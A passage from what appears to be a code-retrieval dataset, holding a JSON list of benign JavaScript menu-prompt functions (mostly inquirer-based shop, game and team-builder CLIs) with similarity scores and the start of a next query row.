vm.$userFavoritePlacesService.apiPostUserFavoritePlaces(vm.favoriteTypeData, vm.onFavoriteSuccess, vm.onFavoriteError);\\n }\\n }\",\n \"function continueorquit(data) {\\n inquirer\\n .prompt([\\n {\\n type: \\\"list\\\",\\n name: \\\"CorQ\\\",\\n message: \\\"Would you like to Add Another employee\\\",\\n choices: ['Yes', 'No']\\n },\\n ])\\n .then(quitData => {\\n switch (quitData.CorQ) {\\n case 'Yes': getEmployee()\\n break\\n case 'No': createWebsite()\\n break\\n }\\n })\\n\\n\\n}\",\n \"function another() {\\n inquirer\\n .prompt(\\n {\\n name: 'another',\\n type: 'confirm',\\n message: 'Would you like to continue shopping?'\\n },\\n\\n )\\n .then(function (answer) {\\n if (answer.another === true) {\\n start();\\n } else {\\n console.log('Thanks for shopping with us! Your orders will be shipped promptly.')\\n connection.end();\\n }\\n });\\n\\n}\",\n \"function promptAction() {\\n inquirer.prompt([{\\n type: 'list',\\n message: 'Select from list below what action you would like to complete.',\\n choices: ['View Products for Sale', 'View Low Inventory', 'Add to Inventory', 'Add New Product'],\\n name: \\\"action\\\"\\n }, ]).then(function(selection) {\\n switch (selection.action) {\\n case 'View Products for Sale':\\n viewAllProducts();\\n break;\\n\\n case 'View Low Inventory':\\n lowInventoryList();\\n break;\\n\\n case 'Add to Inventory':\\n addInventory();\\n break;\\n\\n case 'Add New Product':\\n addNewProduct();\\n break;\\n }\\n }).catch(function(error) {\\n throw error;\\n });\\n}\",\n \"function systemSelection(option){\\n\\tvar check = option; \\n\\tif(vehicleFuel<=0){\\n\\t\\tgameOverLose();\\n\\t}\\n\\n\\telse{\\n\\n\\n\\tif(currentLocation===check){\\n\\t\\t\\tgamePrompt(\\\"Sorry Captain, You're already there or have been there. I will return you to the main menu to make another choice\\\",beginTravel);\\n\\t\\t\\t}\\n\\n\\telse{\\n\\t\\n\\t\\t\\tif(check.toLowerCase() === \\\"e\\\"){\\n\\t\\t\\t\\tvehicleFuel=(vehicleFuel-10);\\n\\t\\t\\t\\tcurrentLocation=\\\"e\\\" ;\\n\\t\\t\\t\\tgamePrompt(\\\"Flying to Earth...You used 10 gallons of gas. The \\\"+ vehicleName +\\\" now has \\\"+vehicleFuel+ \\\" gallons.\\\",goToEarth);\\n\\t\\t\\t}\\n\\t\\telse if(check.toLowerCase() === \\\"m\\\"){\\n\\t\\t\\t//need to add a 'visited' conditional\\n\\t\\t\\tvehicleFuel=(vehicleFuel-20);\\n\\t\\t\\tcurrentLocation=\\\"m\\\" ;\\n\\t\\t\\t\\tgamePrompt(\\\"Flying to Mesnides...You used 20 gallons of gas. The \\\"+ vehicleName +\\\" now has \\\"+vehicleFuel+ \\\" gallons.\\\", goToMesnides);\\n\\t\\t\\t}\\n\\t\\telse if(check.toLowerCase() === \\\"l\\\"){\\n\\t\\t\\tvehicleFuel=(vehicleFuel-50);\\n\\t\\t\\tcurrentLocation=\\\"l\\\" ;\\n\\t\\t\\tgamePrompt(\\\"Flying to Laplides...You used 50 gallons of gas. The \\\"+ vehicleName +\\\" now has \\\"+vehicleFuel+ \\\" gallons.\\\",goToLaplides);\\n\\t\\t\\t}\\n\\t\\telse if(check.toLowerCase() === \\\"k\\\"){\\n\\t\\t\\tvehicleFuel=(vehicleFuel-120);\\n\\t\\t\\tcurrentLocation=\\\"k\\\" ;\\n\\t\\t\\tgamePrompt(\\\"Flying to Kiyturn...You used 120 gallons of gas. The \\\"+ vehicleName +\\\" now has \\\"+vehicleFuel+ \\\" gallons.\\\",goToKiyturn);\\n\\t\\t\\t}\\n\\t\\telse if(check.toLowerCase() === \\\"a\\\"){\\n\\t\\t\\tvehicleFuel=(vehicleFuel-25);\\n\\t\\t\\tcurrentLocation=\\\"a\\\";\\n\\t\\t\\tgamePrompt(\\\"Flying to Aenides...You used 25 gallons of gas. The \\\"+ vehicleName +\\\" now has \\\"+vehicleFuel+ \\\" gallons.\\\",goToAenides);\\n\\t\\t\\t}\\n\\t\\telse if(check.toLowerCase() === \\\"c\\\"){\\n\\t\\t\\tvehicleFuel=(vehicleFuel-200);\\n\\t\\t\\tcurrentLocation=\\\"c\\\" ;\\n\\t\\t\\tgamePrompt(\\\"Flying to Cramuthea...You used 200 gallons of gas. The \\\"+ vehicleName +\\\" now has \\\"+vehicleFuel+ \\\" gallons.\\\",goToCramuthea);\\n\\t\\t\\t}\\n\\t\\telse if(check.toLowerCase() === \\\"s\\\"){\\n\\t\\t\\tvehicleFuel=(vehicleFuel-400);\\n\\t\\t\\tcurrentLocation=\\\"s\\\" ;\\n\\t\\t\\tgamePrompt(\\\"Flying to Smeon T9Q...You used 400 gallons of gas. The \\\"+ vehicleName +\\\" now has \\\"+vehicleFuel+ \\\" gallons.\\\",goToSmeon);\\n\\t\\t\\t}\\n\\t\\telse if(check.toLowerCase() === \\\"g\\\"){\\n\\t\\t\\tvehicleFuel=(vehicleFuel-85);\\n\\t\\t\\tcurrentLocation=\\\"g\\\" ;\\n\\t\\t\\tgamePrompt(\\\"Flying to Gleshan 7Z9...You used 85 gallons of gas. The \\\"+ vehicleName +\\\" now has \\\"+vehicleFuel+ \\\" gallons.\\\",goToGleshan);\\n\\t\\t\\t}\\n\\t\\telse{\\n\\t\\t\\tgamePrompt(\\\"Sorry Captain, I did not understand you. I will return you to the main menu\\\",beginTravel);\\n\\t\\t}\\n\\t}\\n\\t}\\n}\",\n \"function askAgain(){\\n\\tconsole.log(\\\"=============================================================\\\");\\n\\tinquirer.prompt([\\n\\t\\t{\\n\\t\\t\\ttype: \\\"confirm\\\",\\n\\t\\t\\tname: \\\"confirm\\\",\\n\\t\\t\\tmessage: \\\"Would you like to do another task?\\\",\\n\\t\\t\\tdefault: false\\n\\t\\t}\\n\\t]).then(function(again){\\n\\t\\tif (again.confirm){\\n\\t\\t\\tsupervisorOptions();\\n\\t\\t}\\n\\t\\telse{\\n\\t\\t\\tconsole.log(\\\"All tasks are done.\\\");\\n\\t\\t\\t// Exits node program execution\\n\\t\\t\\tprocess.exit();\\n\\t\\t}\\n\\t});\\n}\",\n \"prompt() {\\n // Fetch appointment types from Acuity\\n acuity.request('/appointment-types', function (err, res, appointmentTypes) {\\n\\n // Build some buttons for folks to choose a class\\n const replies = appointmentTypes\\n // Filter types for public classes\\n .filter(appointmentType => appointmentType.type === 'class' && !appointmentType.private)\\n // Create a button for each type\\n .map(appointmentType => client.makeReplyButton(\\n appointmentType.name,\\n null,\\n 'bookClass',\\n {appointmentTypeID: appointmentType.id}\\n ));\\n\\n // Set the response intent to prompt to choose a type\\n client.addResponseWithReplies('prompt/type', null, replies);\\n\\n // End the asynchronous prompt\\n client.done();\\n });\\n }\",\n \"function fancyRestauratMenu() {\\n subTitle.innerText = fancyRestaurantWelcome;\\n firstButton.classList.add(\\\"hidden\\\");\\n secondButton.classList.add(\\\"hidden\\\");\\n fancyDiv.classList.remove(\\\"hidden\\\");\\n\\n handleFancyRestaurantChoice();\\n}\",\n \"function start() {\\n inquirer.prompt([\\n {\\n type: \\\"list\\\",\\n name: \\\"choice\\\",\\n message: \\\"What would you like to do?\\\",\\n choices: [\\\"Purchase Items\\\", \\n \\\"Exit\\\"],\\n }\\n ]).then(function(answer) {\\n\\n // Based on the selection, the user experience will be routed in one of these directions\\n switch (answer.choice) {\\n case \\\"Purchase Items\\\":\\n displayItems();\\n break;\\n case \\\"Exit\\\":\\n exit();\\n break;\\n }\\n });\\n} // End start function\",\n \"function anythingElse() {\\n inquirer\\n .prompt([\\n {\\n type: \\\"confirm\\\",\\n message: \\\"Anything Else?\\\",\\n name: \\\"choice\\\"\\n }\\n ])\\n .then(res => {\\n if (res.choice) {\\n displayProducts();\\n } else {\\n console.log(\\\"Thank You!\\\");\\n console.log(`Total: $${total}`);\\n connection.end();\\n }\\n });\\n}\",\n \"function fightOrCave() {\\n\\n let whereNext = prompt(\\\"Vart vill du gå nu? Ange fight för att gå och bekämpa monstret eller grottan för att gå till grottan\\\").toLowerCase();\\n\\n if (whereNext === \\\"grottan\\\"){\\n goToCaveSecondTime();\\n }\\n else if (whereNext === \\\"fight\\\") {\\n alert(\\\"Oops, du har ju inte skölden än... Du måste hämta den först. Klicka ok för att gå till grottan.\\\")\\n goToCaveSecondTime();\\n }\\n else {\\n alert(\\\"Vänligen ange fight eller grottan\\\")\\n fightOrCave()\\n }\\n\\n \\n}\",\n \"function promptOptions() {\\n inquirer.prompt([\\n {\\n type: \\\"list\\\",\\n message: \\\"Would you like to ... ?\\\",\\n choices: [\\\"Continue Shopping\\\", \\\"Update Cart\\\", \\\"Checkout\\\"],\\n name: \\\"choice\\\"\\n }\\n ]).then(function (option) {\\n switch (option.choice) {\\n case \\\"Continue Shopping\\\":\\n promptBuy();\\n break;\\n case \\\"Update Cart\\\":\\n updateCart();\\n break;\\n case \\\"Checkout\\\":\\n checkout();\\n break;\\n }\\n });\\n}\",\n \"function endStart(){\\n inquirer.prompt({\\n name: \\\"confirm\\\",\\n type: \\\"confirm\\\",\\n message: \\\"continue shopping?\\\",\\n // default: true\\n }).then(function (data) {\\n if (data.confirm === false)\\n \\n process.exit();\\n else \\n start();\\n });\\n}\",\n \"function managerOptions() {\\n inquirer.prompt([\\n {\\n type: \\\"checkbox\\\",\\n name: \\\"managerTask\\\",\\n message: \\\"Hi manager. What would you like to do?\\\",\\n choices: [\\\"View products for sale\\\", \\\"View low inventory\\\", \\\"Add to inventory\\\", \\\"Add New Product\\\"]\\n }\\n ]).then(function (manager) {\\n var task = manager.managerTask;\\n if (task == \\\"View products for sale\\\") {\\n viewProducts();\\n }\\n else if (task == \\\"View low inventory\\\") {\\n lowinventory();\\n }\\n else if (task == \\\"Add to inventory\\\") {\\n addToInvetory();\\n }\\n else if (task == \\\"Add New Product\\\") {\\n addProduct();\\n }\\n });\\n}\",\n \"function returnToMenu() {\\n\\tinquirer.prompt({\\n\\t\\tname: \\\"choice\\\",\\n\\t\\ttype: \\\"confirm\\\",\\n\\t\\tmessage: \\\"Would you like to return to the menu?\\\"\\n\\n\\t}).then(function(input) {\\n\\t\\tif (input.choice === true) {\\n\\t\\t\\tmenu();\\n\\t\\t} else {\\n\\t\\t\\tconnection.end();\\n\\t\\t}\\n\\t})\\n}\",\n \"function menuoption(){\\n inquirer.prompt({\\n type: \\\"list\\\",\\n name : \\\"menu\\\",\\n message : \\\"What do you want to see ?\\\",\\n choices : [\\\"\\\\n\\\",\\\"View Products for Sale\\\",\\\"View Low Inventory\\\",\\\"Add to Inventory\\\",\\\"Add New Product\\\"]\\n\\n }).then(function(answer){\\n // var update;\\n // var addnew;\\n console.log(answer.menu);\\n //if else option to compare user input and call the required function\\n if(answer.menu == \\\"View Products for Sale\\\" ){\\n showitem();\\n }else if(answer.menu == \\\"View Low Inventory\\\"){\\n \\n lowinventory();\\n }else if(answer.menu == \\\"Add to Inventory\\\"){\\n updateinventory();\\n // updateonecolumn(itemidinput);\\n }else if(answer.menu == \\\"Add New Product\\\"){\\n addnewproduct();\\n }\\n \\n });\\n }\",\n \"function shop() {\\n\\n inquirer.prompt([{\\n name: \\\"menu\\\",\\n type: \\\"list\\\",\\n choices: [\\\"View Products for Sale\\\", \\\"View Low Inventory\\\", \\\"Update Inventory\\\", \\\"Add New Product\\\"]\\n }]).then(function (answer) {\\n\\n switch (answer.menu) {\\n case \\\"View Products for Sale\\\":\\n forSale();\\n break;\\n\\n case \\\"View Low Inventory\\\":\\n lowStock();\\n break;\\n\\n case \\\"Add New Product\\\":\\n addThing();\\n break;\\n\\n case \\\"Update Inventory\\\":\\n moreStuff();\\n break;\\n }\\n });\\n}\",\n \"buildGoOption(term) {\\n let isValidPatp = urbitOb.isValidPatp(term.substr(1));\\n let isStation = isValidStation(term);\\n let details = isStation && getStationDetails(term);\\n // use collection description if it's a collection\\n let displayTextTerm = isStation ? details.type == 'text' ? `${details.station.split(\\\"/\\\")[0]} / ${details.stationTitle}` : details.station.split(\\\"/\\\").join(\\\" / \\\") : term;\\n\\n let displayText = `go ${displayTextTerm}`;\\n let helpText = isStation ?\\n `Go to ${details.cir} on ~${details.host}` :\\n `Go to the profile of ${term}`\\n\\n return {\\n name: `go ${term}`,\\n action: () => {\\n let targetUrl;\\n if (isValidPatp) {\\n targetUrl = profileUrl(term.substr(1))\\n this.props.transitionTo(targetUrl);\\n } else if (isStation) {\\n targetUrl = (details.type === \\\"text-topic\\\") ? details.postUrl : details.stationUrl\\n this.props.transitionTo(targetUrl);\\n }\\n },\\n displayText,\\n helpText\\n };\\n }\",\n \"function handle_again() {\\n var current = current_selection();\\n // call the initiator function on the current selection\\n window.initiate_fcn(current, $(featherlight_selector()).get(0));\\n}\",\n \"function menu() {\\n var option = parseInt(prompt('Choississez une option :'));\\n\\n do {\\n if (option == 1) {\\n list(), navigation();\\n var option = parseInt(prompt('Choississez une option :'));\\n } else if (option == 2) {\\n addContact();\\n var option = parseInt(prompt('Choississez une option :'));\\n }\\n } while (option != 3)\\n alert(\\\"Aurevoir et à bientot !\\\");\\n}\",\n \"function askToContinue() {\\n\\t\\tinquirer\\n\\t\\t\\t.prompt([\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\ttype: 'confirm',\\n\\t\\t\\t\\t\\tmessage: 'Do you want to play again?',\\n\\t\\t\\t\\t\\tname: 'confirm',\\n\\t\\t\\t\\t\\tdefault: true\\n\\t\\t\\t\\t}\\n\\t\\t\\t])\\n\\t\\t\\t.then(function(response) {\\n\\t\\t\\t\\tif (response.confirm === true) {\\n\\t\\t\\t\\t\\tstartGame();\\n\\t\\t\\t\\t} \\n\\t\\t\\t});\\n\\t}\",\n \"function cardMakeContinue() { // function that asks to continue making cards//\\n\\tinquirer.prompt({\\n\\t\\t\\ttype: \\\"list\\\",\\n\\t\\t\\tmessage:\\\"\\\\nContinue? Yes or No \\\",\\n\\t\\t\\tchoices: [\\\"Yes\\\", \\\"No\\\"],\\n\\t\\t\\tname: \\\"ynChoices\\\"\\n\\t\\t\\t}).then(function(continuebasicYN){\\n\\t\\t\\tvar ynChoices = continuebasicYN.ynChoices;\\n \\t\\n\\t\\t\\tif (ynChoices === \\\"Yes\\\") \\n\\t\\t\\t\\t{\\n\\t\\t\\t\\tgetInfo(loop); // calls function to enter another card\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse \\n\\t\\t\\t\\t{ console.log(\\\"Good Job, you are finished!\\\");\\n\\t\\t\\t\\t}\\n\\t\\t\\t}) // close cardMakecontinue prompts\\n\\n\\t\\t}\",\n \"function frostingChoice(item) {\\n frostingChosen = true;\\n if (typeof preFrostingChoice !== 'undefined'){\\n preFrostingChoice.style.backgroundColor = \\\"white\\\";\\n }\\n\\n item.style.backgroundColor = \\\"lightgray\\\";\\n preFrostingChoice = item;\\n\\n checkPrice();\\n}\",\n \"function keepShopping(){\\n inquirer.prompt([\\n {\\n type: \\\"confirm\\\",\\n message: \\\"do you want to keep shopping for beers?\\\",\\n name: \\\"confirm\\\"\\n }\\n ]).then(function(res){\\n if (res.confirm){\\n console.log(\\\"----------------\\\");\\n showProducts();\\n } else {\\n console.log('Thank you for shopping in our online bar, happy drinking!');\\n connection.end();\\n }\\n })\\n}\",\n \"function promptContinue(){\\n return inquirer.prompt([\\n {\\n type: \\\"list\\\",\\n name: \\\"Job\\\", \\n choices: [\\\"Engineer\\\", \\\"Intern\\\", \\\"Finish building my team\\\"]\\n },\\n])\\n.then((answers) => {\\n if(answers.Job === \\\"Engineer\\\"){\\n promptEngineer();\\n } else if (answers.Job === \\\"Intern\\\"){\\n promptIntern();\\n } else {\\n generate.generateHTML(employeeArray);\\n console.log(\\\"Your team is being built!\\\")\\n }\\n})\\n}\",\n \"async promptForMenu(step) {\\n return step.prompt(MENU_PROMPT, {\\n choices: [\\\"Donate Food\\\", \\\"Find a Food Bank\\\", \\\"Contact Food Bank\\\"],\\n prompt: \\\"Do you have food to donate, do you need food, or are you contacting a food bank?\\\",\\n retryPrompt: \\\"I'm sorry, that wasn't a valid response. Please select one of the options\\\"\\n });\\n }\",\n \"function askUser() {\\n inquirer.prompt(\\n {\\n name: \\\"action\\\",\\n message: \\\"WHAT WOULD YOU LIKE TO DO?\\\",\\n type: \\\"list\\\",\\n choices: [\\\"BROWSE ITEMS\\\", \\\"EXIT\\\"]\\n }\\n ).then(function (answer) {\\n switch (answer.action) {\\n case \\\"BROWSE ITEMS\\\":\\n showItems();\\n break;\\n\\n case \\\"EXIT\\\":\\n connection.end();\\n break;\\n }\\n });\\n}\",\n \"function checkIfVacationNeedsReplacement(bool){\\n let ask;\\n let empty = \\\"\\\";\\n if (bool === true){\\n alert(\\\"Enjoy your Vacation!\\\");\\n loopBreak = true;\\n return empty;\\n }\\n else{\\n ask = prompt(\\\"What part of your vacation would you like to replace? Type destination, food, transportation, entertainment, all, or done.\\\");\\n return ask;\\n }\\n}\",\n \"function goToAenides(){\\n\\t\\tif(visitedAen===0){\\n\\t\\t\\tvisitedAen=1;\\n\\t\\t\\t// artifacts=1;\\n\\t\\t\\tgamePrompt(\\\"You discover upon arrival to Aenides that they are a hostile people. You attempt to land, but they begin to fire upon your S.R.S.V. and you are forced to retreat.\\\",beginTravel);\\n\\t\\t}else{\\n\\t\\t\\tgamePrompt([\\\"You've already been here!\\\",\\\"Where to next?\\\"],beginTravel);\\n\\t\\t}\\n}\",\n \"function foodRunnerSelector() {\\n \\n if (document.getElementById(\\\"foodRunnerYes\\\").checked == true) {\\n\\tdoTipFoodRunner = true;\\n\\tdocument.getElementById(\\\"foodRunnerConfirm\\\").innerHTML = \\\"Food Runner will be tipped out\\\";}\\n else { \\n\\tdoTipFoodRunner = false;\\n\\tdocument.getElementById(\\\"foodRunnerConfirm\\\").innerHTML = \\\"No tip out for Food Runner\\\"; \\n }\\n return doTipFoodRunner\\n}\",\n \"function optionMenu(){\\n inquirer\\n .prompt({\\n name: \\\"menu\\\",\\n type: \\\"list\\\",\\n message: \\\"What would you like to do?\\\",\\n choices: [\\n \\\"View Products for Sale\\\",\\n \\\"View Low Inventory\\\",\\n \\\"Add to Inventory\\\",\\n \\\"Add New Product\\\",\\n \\\"Nothing, I've changed my mind.\\\"\\n ]\\n })\\n .then(function(answer) {\\n switch(answer.menu){\\n case \\\"View Products for Sale\\\":\\n showProducts();\\n\\n // continuePrompt is delayed to allow showProducts to be completed\\n setTimeout(continuePrompt,300);\\n break;\\n\\n case \\\"View Low Inventory\\\":\\n lowInventory();\\n\\n // continuePrompt is delayed to allow lowInventory to be completed\\n setTimeout(continuePrompt,300);\\n break;\\n\\n case \\\"Add to Inventory\\\":\\n showProducts()\\n\\n // addInventory is delayed to allow lowInventory to be completed\\n setTimeout(addInventory,300);\\n break;\\n\\n case \\\"Add New Product\\\":\\n newProduct();\\n break;\\n\\n case \\\"Nothing, I've changed my mind.\\\":\\n console.log(\\\"\\\\nHave a nice day!\\\\n\\\");\\n connection.end();\\n break;\\n }\\n });\\n}\",\n \"function confirmGoalsAndContinue() {\\n if ($('.js-goal-rank').length > 1) {\\n reorderItems('#goal-rank-num li', '#sortable-goals');\\n }\\n //Make sure the number labels are in the proper order, the user might navigate back to goal ranking using the back button\\n utility.getInitialOrder('#goal-rank-num li');\\n SALT.trigger('goalrank:updated');\\n $('#js-rank-container').removeClass('active-panel');\\n $('.js-onboarding-exit, .outer-progress-meter-wrapper').show();\\n //Show the first Q+A panel now that goal rank is hidden\\n $('.js-profileQA-container').children().first().addClass('active-panel');\\n focusFirstInput();\\n //Scroll to the top of the screen in case so that the user is always seeing the top of the new panel\\n $('html, body').animate({scrollTop: 0}, 300);\\n initializeProgressMeter();\\n }\",\n \"function noInventoryOptions() {\\n inquirer.prompt([\\n {\\n type: \\\"list\\\",\\n message: \\\"Do you want to choose a new item or quit?\\\",\\n choices: [\\\"NEW-ITEM\\\", \\\"QUIT\\\"],\\n name: \\\"startAgain\\\"\\n }\\n ])\\n .then(function(answer6) {\\n if (answer6.startAgain == \\\"NEW-ITEM\\\") {\\n displayProducts(); \\n }\\n if (answer6.startAgain == \\\"QUIT\\\") {\\n console.log(\\\"Thank you. Good-bye!\\\");\\n connection.end();\\n }\\n });\\n}\",\n \"function onAfterLocationUpdate() {\\n $.fancybox.showLoading(getLabel('ajax.finding-restaurants'));\\n location.href = ctx + '/app/' + getLabel('url.find-takeaway') + '/session/loc';\\n}\",\n \"function returntoMenu() {\\n inquirer.prompt({\\n name: 'return',\\n type: 'rawlist',\\n choices: [\\\"Return to Main Menu\\\", \\\"Exit\\\"],\\n message: \\\"Would you like to return to main menu or exit?\\\"\\n }).then(function(answer){\\n if (answer.return === \\\"Return to Main Menu\\\") {\\n start();\\n }\\n else {\\n connection.end();\\n }\\n })\\n}\",\n \"function askAgain() {\\n\\n inquirer\\n .prompt({\\n name: \\\"nextSteps\\\",\\n type: \\\"list\\\",\\n message: \\\"Would you like to continue shopping?\\\",\\n choices: [\\\"YES\\\", \\\"NO\\\"]\\n })\\n .then(function(answer) {\\n \\n if (answer.nextSteps.toUpperCase() === \\\"NO\\\") {\\n\\n console.log(chalk.yellow(\\\"\\\\nHope you had a pleasant experience. Come again soon!\\\\n\\\"));\\n\\n //turns off the connection from db\\n connection.end();\\n }\\n\\n else {\\n\\n \\t//the first function is called again\\n \\treadProducts();\\n\\n\\n } \\n\\n });\\n}\",\n \"function options() {\\n inquirer\\n .prompt({\\n name: \\\"departmentOfManagers\\\",\\n type: \\\"list\\\",\\n message: \\\"Which saleDepartment you are looking for ?\\\",\\n choices: [\\\"Products of sale\\\", \\\"Low Inventory\\\", \\\"Add to Inventory\\\", \\\" Add New Product\\\"]\\n })\\n .then(function(answer) {\\n // based on their answer of functions\\n if (answer.options === \\\"Products of sale\\\") {\\n viewSaleProduct();\\n }\\n else if(answer.options === \\\"Low Inventory\\\") {\\n lowInventory();\\n }\\n else if(answer.options === \\\"Add to Inventory\\\") {\\n addInventory();\\n } \\n else if(answer.options === \\\"Add New Product\\\") \\n {\\n addNewProduct();\\n } else{\\n connection.end();\\n }\\n });\\n}\",\n \"function chooseFoodQuiz() {\\n $(foodQuiz).click();\\n questions = foodQuestions;\\n finalQuestion = foodQuestions.length - 1;\\n startQuiz();\\n}\",\n \"function nextPrompt(){\\n inquirer.prompt([\\n {\\n name: \\\"status\\\",\\n type: \\\"list\\\",\\n message: \\\"Buy more?\\\",\\n choices: [\\\"Buy more\\\", \\\"Exit\\\"]\\n }\\n ]).then(answer => {\\n if(answer.status === \\\"Buy more\\\"){\\n displayInventory();\\n promptBuy();\\n } else{\\n console.log(\\\"Thank you. Goodbye.\\\");\\n connection.end();\\n }\\n })\\n}\",\n \"function chooseAction() {\\n\\tinquirer\\n\\t\\t.prompt({\\n\\t\\t\\tname: \\\"action\\\", \\n\\t\\t\\ttype: \\\"rawlist\\\", \\n\\t\\t\\tmessage: \\\"What do you want to do?\\\", \\n\\t\\t\\tchoices: [\\\"VIEW PRODUCTS\\\", \\\"VIEW LOW INVENTORY\\\", \\\"ADD TO INVENTORY\\\", \\\"ADD NEW PRODUCT\\\", \\\"QUIT\\\"]\\n\\t\\t})\\n\\t\\t.then(function(ans) {\\n\\t\\t\\tif(ans.action.toUpperCase() ===\\\"VIEW PRODUCTS\\\") {\\n\\t\\t\\t\\tviewProducts(); \\n\\t\\t\\t} \\n\\t\\t\\telse if (ans.action.toUpperCase() === \\\"VIEW LOW INVENTORY\\\") {\\n\\t\\t\\t\\tviewLowInventory(); \\n\\t\\t\\t}\\n\\t\\t\\telse if (ans.action.toUpperCase() === \\\"ADD TO INVENTORY\\\") {\\n\\t\\t\\t\\taddInventory(); \\n\\t\\t\\t}\\n\\t\\t\\telse if (ans.action.toUpperCase() === \\\"ADD NEW PRODUCT\\\") {\\n\\t\\t\\t\\taddNewProduct(); \\n\\t\\t\\t}\\n\\t\\t\\telse {\\n\\t\\t\\t\\tendConnection(); \\n\\t\\t\\t}\\n\\t\\t})\\n}\",\n \"function mainMenu(){\\n inquirer.prompt([\\n {\\n name: \\\"mainOptions\\\",\\n type: \\\"list\\\",\\n message:\\\"What would you like to do?\\\",\\n choices: [\\\"View Products\\\", \\\"View Low Inventory Products\\\", \\\"Add Product Inventory\\\", \\\"Add New Product\\\", \\\"Exit\\\"]\\n }\\n ]).then(function(answer){\\n switch (answer.mainOptions) {\\n case \\\"View Products\\\":\\n displayInventory();\\n break;\\n case \\\"View Low Inventory Products\\\":\\n displayLowInv();\\n break;\\n case \\\"Add Product Inventory\\\":\\n addInventory();\\n break;\\n case \\\"Add New Product\\\":\\n addProduct();\\n break;\\n case \\\"Exit\\\":\\n console.log(\\\"***********************************************************\\\");\\n console.log(\\\"* Have a productive day :-) *\\\");\\n console.log(\\\"***********************************************************\\\");\\n connection.end();\\n };\\n });\\n}\",\n \"function managerPrompt() {\\n inquirer\\n .prompt({\\n name: \\\"action\\\",\\n type: \\\"list\\\",\\n message: \\\"Hello Bamazon manager, what would you like to do today?\\\",\\n choices: [\\n \\\"View Products for sale?\\\",\\n \\\"View Low Inventory?\\\",\\n \\\"Add to Inventory?\\\",\\n \\\"Add a New Product?\\\"\\n ]\\n })\\n .then(function(answer) {\\n switch (answer.action) {\\n case \\\"View Products for sale?\\\":\\n viewAllProducts();\\n break;\\n\\n case \\\"View Low Inventory?\\\":\\n viewLowInventory();\\n break;\\n\\n case \\\"Add to Inventory?\\\":\\n addInventory();\\n break;\\n\\n case \\\"Add a New Product?\\\":\\n addNewProduct();\\n break;\\n }\\n\\n });\\n\\n}\",\n \"function userSearch() {\\n\\n inquirer.prompt([\\n {\\n type: \\\"list\\\",\\n name: \\\"choice\\\",\\n message: \\\"What would you like to do:\\\",\\n choices: [\\\"View product sales by Department\\\", \\\"Create new department\\\", \\\"Exit Supervisor Mode\\\"]\\n }\\n\\n ]).then(function (manager) {\\n\\n switch (manager.choice) {\\n case \\\"View product sales by Department\\\":\\n viewDepartments();\\n break;\\n \\n case \\\"Create new department\\\":\\n addNewDepartment();\\n break;\\n\\n case \\\"Exit Supervisor Mode\\\":\\n console.log(\\\"\\\\nSee ya later!\\\\n\\\");\\n connection.end ();\\n break;\\n }\\n\\n });\\n\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.68103266","0.64964914","0.6342976","0.62424755","0.61173964","0.6034379","0.5987297","0.58292925","0.5781033","0.5737571","0.57127887","0.5708035","0.5688682","0.56830406","0.56636477","0.56604296","0.56401587","0.5638404","0.56222045","0.5614877","0.5614036","0.5600347","0.5595774","0.5577155","0.55717146","0.55594057","0.55581653","0.55518633","0.5548958","0.5548455","0.55350167","0.5534366","0.5529235","0.551177","0.5496822","0.5494539","0.5492613","0.5483039","0.5469218","0.5468171","0.54679537","0.54669416","0.54539996","0.545248","0.5450221","0.54411936","0.5439916","0.5433537","0.54230577","0.54205126","0.54155624","0.5410685","0.5398335","0.5394103","0.53911227","0.5388845","0.5386328","0.53853667","0.5376627","0.53737193","0.5367417","0.5363824","0.53552276","0.53495127","0.5343098","0.533838","0.5334769","0.53335583","0.5333456","0.5319867","0.5306104","0.5301944","0.5300739","0.5299799","0.52993965","0.52922577","0.5288702","0.5283504","0.5283024","0.5280796","0.5275275","0.527482","0.5273145","0.52649635","0.52635384","0.5260161","0.5260071","0.52577615","0.5254783","0.52532935","0.52527183","0.5251287","0.52444947","0.524228","0.5241531","0.5236718","0.5236086","0.52356243","0.5228005","0.5226266"],"string":"[\n \"0.68103266\",\n \"0.64964914\",\n \"0.6342976\",\n \"0.62424755\",\n \"0.61173964\",\n \"0.6034379\",\n \"0.5987297\",\n \"0.58292925\",\n \"0.5781033\",\n \"0.5737571\",\n \"0.57127887\",\n \"0.5708035\",\n \"0.5688682\",\n \"0.56830406\",\n \"0.56636477\",\n \"0.56604296\",\n \"0.56401587\",\n \"0.5638404\",\n \"0.56222045\",\n \"0.5614877\",\n \"0.5614036\",\n \"0.5600347\",\n \"0.5595774\",\n \"0.5577155\",\n \"0.55717146\",\n \"0.55594057\",\n \"0.55581653\",\n \"0.55518633\",\n \"0.5548958\",\n \"0.5548455\",\n \"0.55350167\",\n \"0.5534366\",\n \"0.5529235\",\n \"0.551177\",\n \"0.5496822\",\n \"0.5494539\",\n \"0.5492613\",\n \"0.5483039\",\n \"0.5469218\",\n \"0.5468171\",\n \"0.54679537\",\n \"0.54669416\",\n \"0.54539996\",\n \"0.545248\",\n \"0.5450221\",\n \"0.54411936\",\n \"0.5439916\",\n \"0.5433537\",\n \"0.54230577\",\n \"0.54205126\",\n \"0.54155624\",\n \"0.5410685\",\n \"0.5398335\",\n \"0.5394103\",\n \"0.53911227\",\n \"0.5388845\",\n \"0.5386328\",\n \"0.53853667\",\n \"0.5376627\",\n \"0.53737193\",\n \"0.5367417\",\n \"0.5363824\",\n \"0.53552276\",\n \"0.53495127\",\n \"0.5343098\",\n \"0.533838\",\n \"0.5334769\",\n \"0.53335583\",\n \"0.5333456\",\n \"0.5319867\",\n \"0.5306104\",\n \"0.5301944\",\n \"0.5300739\",\n \"0.5299799\",\n \"0.52993965\",\n \"0.52922577\",\n \"0.5288702\",\n \"0.5283504\",\n \"0.5283024\",\n \"0.5280796\",\n \"0.5275275\",\n \"0.527482\",\n \"0.5273145\",\n \"0.52649635\",\n \"0.52635384\",\n \"0.5260161\",\n \"0.5260071\",\n \"0.52577615\",\n \"0.5254783\",\n \"0.52532935\",\n \"0.52527183\",\n \"0.5251287\",\n \"0.52444947\",\n \"0.524228\",\n \"0.5241531\",\n \"0.5236718\",\n \"0.5236086\",\n \"0.52356243\",\n \"0.5228005\",\n \"0.5226266\"\n]"},"document_score":{"kind":"string","value":"0.559048"},"document_rank":{"kind":"string","value":"23"}}},{"rowIdx":62,"cells":{"query":{"kind":"string","value":"Continue or regret option for fastfood restaurant."},"document":{"kind":"string","value":"function 